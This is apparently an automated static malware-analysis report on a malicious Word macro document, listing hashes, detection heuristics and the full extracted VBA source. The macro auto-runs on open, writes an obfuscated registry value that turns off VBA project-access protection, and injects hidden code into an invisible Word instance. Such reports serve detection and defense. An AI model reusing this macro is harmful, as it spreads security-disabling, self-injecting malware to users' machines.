Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 027932ea6ed10b6a…

MALICIOUS

Office (OOXML)

168.5 KB Created: 2021-04-27 05:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: e3a7c458e54da3c791d494dd8e84f4fa SHA-1: 2834702d03d9463dc046b805a5025d95e0317332 SHA-256: 027932ea6ed10b6ab2979e0a2de9e2187219ccdc13918b98d8a66a7e3a7b479b
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("wscript.shell").RegWrite tmpCounterTextbox, 1, "REG_DWORD"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    documentMemConvert.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString removeButton
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set tableCopy = CreateObject("msxml2.domdocument")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://eight-collier2o In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2490 bytes
SHA-256: 23fd68427c60e214d37f2854833423db712e34022a72346dda2d0359de8175c1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C9E50BB0-7B43-4F28-82D3-BDBC1F8F2E20}{0B7B5675-167A-4C67-BD04-9CAF55BF59FF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "collectionExceptionRemove"
Sub autoopen()
countLink
Dim repoLocalRemove As String
repoLocalRemove = localConvert
refSize repoLocalRemove
End Sub

Attribute VB_Name = "tempTrustData"
Function textTitleIterator(genericException As String) As Variant
Dim tableCopy As Object
Dim linkW As Object
Set tableCopy = CreateObject("msxml2.domdocument")
Set linkW = tableCopy.createElement("code")
linkW.DataType = "bin.base64"
linkW.Text = genericException
textTitleIterator = linkW.nodeTypedValue
End Function

Attribute VB_Name = "globalWindow"
Sub refSize(removeButton As String)
Set loadConstValue = CreateObject("word.application")
Set documentMemConvert = loadConstValue.Documents.Add
documentMemConvert.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString removeButton
loadConstValue.Visible = False
loadConstValue.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "removePaste"
Function procedureArgumentFunc() As String
procedureArgumentFunc = Application.Version
End Function
Sub countLink()
windowSwapNext = StrConv(textTitleIterator("SEtFWV9DVVJSRU5UX1VTRVJcU29mdHdhcmVcTWljcm9zb2Z0XE9mZmljZVw="), vbUnicode)
optionValue = procedureArgumentFunc
globalVariable = StrConv(textTitleIterator("XFdvcmRcU2VjdXJpdHlcQWNjZXNzVkJPTQ=="), vbUnicode)
tmpCounterTextbox = windowSwapNext & optionValue & globalVariable
CreateObject("wscript.shell").RegWrite tmpCounterTextbox, 1, "REG_DWORD"
End Sub
Public Function borderCounter(ByVal repoView As String) As String
For deleteLenLen = 1 To Len(repoView) Step 2
sizeConvertSwap = Chr$(Val("&H" & Mid$(repoView, deleteLenLen, 2)))
selectIteratorClear = selectIteratorClear & sizeConvertSwap
Next deleteLenLen
borderCounter = selectIteratorClear
End Function
Function localConvert()
localConvert = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: 796f8c62b00e106d8f4d27ff37c10477886c89e53c2bb631d37f3673a62f2cb5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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